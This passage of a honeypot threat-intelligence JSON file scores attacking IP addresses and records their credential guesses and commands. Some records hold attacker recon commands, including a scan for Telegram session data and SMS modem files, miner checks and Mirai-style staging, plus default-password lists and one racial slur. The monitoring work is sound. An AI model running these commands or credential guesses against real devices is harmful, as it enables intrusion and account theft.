      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.1,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T18:40:38.986000+00:00",
        "last_seen_30d": "2026-03-17T08:55:32.087000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 44
      }
    },
    "223.123.43.1": {
      "attack_count": 80,
      "first_seen": "2026-03-20T16:33:54.563Z",
      "last_seen": "2026-03-29T17:16:44.975Z",
      "sessions": 40,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 50.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.1,
        "persistence": 14.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 17,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-13T03:07:39+00:00",
        "last_seen_30d": "2026-03-29T17:17:49.360000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 47,
        "Honeytrap": 1
      }
    },
    "42.6.179.198": {
      "attack_count": 56,
      "first_seen": "2026-03-12T06:36:42.622Z",
      "last_seen": "2026-03-12T06:40:36.049Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T06:36:42.622000+00:00",
        "last_seen_30d": "2026-03-12T06:41:38.187000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 29
      }
    },
    "94.243.14.174": {
      "attack_count": 50,
      "first_seen": "2026-03-24T17:55:13.642Z",
      "last_seen": "2026-03-24T18:00:38.828Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 31.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.2,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-24T17:55:13.642000+00:00",
        "last_seen_30d": "2026-03-25T16:01:35.179000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 32,
        "Honeytrap": 1
      }
    },
    "175.107.2.100": {
      "attack_count": 46,
      "first_seen": "2026-03-31T01:38:12.409Z",
      "last_seen": "2026-03-31T01:44:39.768Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Taxila",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 31.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T01:38:12.409000+00:00",
        "last_seen_30d": "2026-03-31T01:45:48.490000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "113.149.152.254": {
      "attack_count": 36,
      "first_seen": "2026-03-15T02:42:47.321Z",
      "last_seen": "2026-03-15T02:43:45.344Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "K\u014dnan",
      "asn": 2516,
      "as_org": "KDDI CORPORATION",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T02:42:47.321000+00:00",
        "last_seen_30d": "2026-03-15T02:44:54.780000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 4
      }
    },
    "36.35.162.178": {
      "attack_count": 32,
      "first_seen": "2026-03-23T04:57:01.021Z",
      "last_seen": "2026-03-23T04:57:26.893Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root",
        "vizxv"
      ],
      "commands_executed": [
        "adminpass",
        "config terminal",
        "linuxshell",
        "shell",
        "start",
        "system",
        "cat /bin/ls | more",
        "cat /bin/ls|more",
        "cd /tmp || cd /var || cd /dev || cd /etc",
        "echo -e '\\x65\\x68\\x6E\\x66\\x78'",
        "enable",
        "passwd",
        "sh"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.success",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T04:57:01.021000+00:00",
        "last_seen_30d": "2026-03-23T04:58:34.100000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 4
      }
    },
    "94.243.14.84": {
      "attack_count": 30,
      "first_seen": "2026-03-28T23:44:01.221Z",
      "last_seen": "2026-03-28T23:47:20.189Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 27.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T23:44:01.221000+00:00",
        "last_seen_30d": "2026-03-28T23:57:23.398000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "167.99.200.89": {
      "attack_count": 25,
      "first_seen": "2026-03-02T21:27:41.969Z",
      "last_seen": "2026-03-02T21:30:18.974Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root",
        "root123",
        "root321"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T21:27:41.969000+00:00",
        "last_seen_30d": "2026-03-02T21:31:22.879000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 10
      }
    },
    "185.242.226.46": {
      "attack_count": 24,
      "first_seen": "2026-03-09T01:31:10.750Z",
      "last_seen": "2026-03-23T15:57:58.919Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 79.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 8856,
        "days_active_30d": 25,
        "ports_targeted_30d": 494,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-03-02T00:01:43+00:00",
        "last_seen_30d": "2026-03-26T01:25:16.412000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5205,
        "Honeytrap": 3431,
        "Dionaea": 86,
        "Adbhoney": 63,
        "Cowrie": 24,
        "Dicompot": 19,
        "Miniprint": 12,
        "ConPot": 9,
        "Ipphoney": 3,
        "Ciscoasa": 2,
        "H0neytr4p": 2
      }
    },
    "47.236.199.69": {
      "attack_count": 19,
      "first_seen": "2026-03-19T20:07:35.966Z",
      "last_seen": "2026-03-29T00:31:59.492Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        " ",
        "!Q2w3e4r"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 33.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.9,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T20:07:35.966000+00:00",
        "last_seen_30d": "2026-03-29T00:33:04.775000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 19,
        "Suricata": 12
      }
    },
    "206.189.131.4": {
      "attack_count": 18,
      "first_seen": "2026-03-03T16:19:04.247Z",
      "last_seen": "2026-03-04T14:12:59.189Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T16:19:04.247000+00:00",
        "last_seen_30d": "2026-03-04T14:14:00.131000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 17
      }
    },
    "45.148.10.147": {
      "attack_count": 16,
      "first_seen": "2026-03-07T10:03:10.719Z",
      "last_seen": "2026-03-20T07:03:13.642Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 48090,
      "as_org": "Techoff Srv Limited",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T10:03:10.719000+00:00",
        "last_seen_30d": "2026-03-20T07:04:16.849000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "71.6.134.230": {
      "attack_count": 13,
      "first_seen": "2026-03-02T13:15:45.430Z",
      "last_seen": "2026-03-10T04:38:07.873Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 83.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.3,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 342,
        "days_active_30d": 27,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T05:18:42+00:00",
        "last_seen_30d": "2026-03-28T01:22:27.024000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 247,
        "Honeytrap": 69,
        "Cowrie": 13,
        "Redishoneypot": 6,
        "H0neytr4p": 4,
        "Tanner": 2,
        "Sentrypeer": 1
      }
    },
    "163.7.12.49": {
      "attack_count": 10,
      "first_seen": "2026-03-10T16:36:42.523Z",
      "last_seen": "2026-03-10T16:37:27.765Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T16:36:42.523000+00:00",
        "last_seen_30d": "2026-03-10T16:38:30.738000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "87.103.82.220": {
      "attack_count": 10,
      "first_seen": "2026-03-11T22:28:48.548Z",
      "last_seen": "2026-03-11T22:28:52.349Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "pi"
      ],
      "passwords_attempted": [
        "raspberry",
        "raspberryraspberry993311"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Lisbon",
      "asn": 12353,
      "as_org": "Vodafone Portugal - Communicacoes Pessoais S.A.",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T22:28:48.548000+00:00",
        "last_seen_30d": "2026-03-11T22:29:58.775000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "34.22.209.250": {
      "attack_count": 8,
      "first_seen": "2026-03-07T19:33:57.676Z",
      "last_seen": "2026-03-07T19:34:13.907Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T19:33:57.676000+00:00",
        "last_seen_30d": "2026-03-07T19:35:23.329000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "64.62.197.205": {
      "attack_count": 8,
      "first_seen": "2026-03-18T07:51:59.273Z",
      "last_seen": "2026-03-25T15:02:56.457Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 70.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.8,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 27,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T10:57:49.807000+00:00",
        "last_seen_30d": "2026-03-28T06:10:51.151000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Cowrie": 8,
        "Honeytrap": 3,
        "H0neytr4p": 1
      }
    },
    "89.126.211.227": {
      "attack_count": 7,
      "first_seen": "2026-03-25T01:53:50.358Z",
      "last_seen": "2026-03-25T11:35:06.901Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": null,
      "asn": 202660,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 1.7,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 2,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T01:49:39.536000+00:00",
        "last_seen_30d": "2026-03-26T17:08:17.183000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 7
      }
    },
    "185.247.137.126": {
      "attack_count": 6,
      "first_seen": "2026-03-12T00:39:58.765Z",
      "last_seen": "2026-03-12T00:40:01.524Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T19:43:02.747000+00:00",
        "last_seen_30d": "2026-03-12T00:40:01.524000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "209.38.222.167": {
      "attack_count": 6,
      "first_seen": "2026-03-19T08:17:28.164Z",
      "last_seen": "2026-03-19T08:17:28.839Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T08:17:28.164000+00:00",
        "last_seen_30d": "2026-03-19T08:18:34.977000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "209.38.224.85": {
      "attack_count": 6,
      "first_seen": "2026-03-08T20:06:30.953Z",
      "last_seen": "2026-03-08T20:06:31.550Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T20:06:30.953000+00:00",
        "last_seen_30d": "2026-03-08T20:07:33.943000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "64.23.170.246": {
      "attack_count": 6,
      "first_seen": "2026-03-15T14:27:11.789Z",
      "last_seen": "2026-03-15T14:27:12.123Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T14:27:11.789000+00:00",
        "last_seen_30d": "2026-03-15T14:28:20.716000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 6
      }
    },
    "66.132.172.199": {
      "attack_count": 6,
      "first_seen": "2026-03-25T02:36:10.026Z",
      "last_seen": "2026-03-25T02:36:55.919Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 57.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.1,
        "persistence": 8.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 10,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-20T07:14:23+00:00",
        "last_seen_30d": "2026-03-29T08:11:43.887000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Honeytrap": 29,
        "Cowrie": 6
      }
    },
    "38.188.160.129": {
      "attack_count": 5,
      "first_seen": "2026-03-11T00:08:43.924Z",
      "last_seen": "2026-03-11T00:08:46.272Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "sasasasa"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:08:43.924000+00:00",
        "last_seen_30d": "2026-03-11T00:09:46.825000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "45.141.119.79": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:42:24.795Z",
      "last_seen": "2026-03-10T23:42:28.730Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "system"
      ],
      "passwords_attempted": [
        "nigger"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
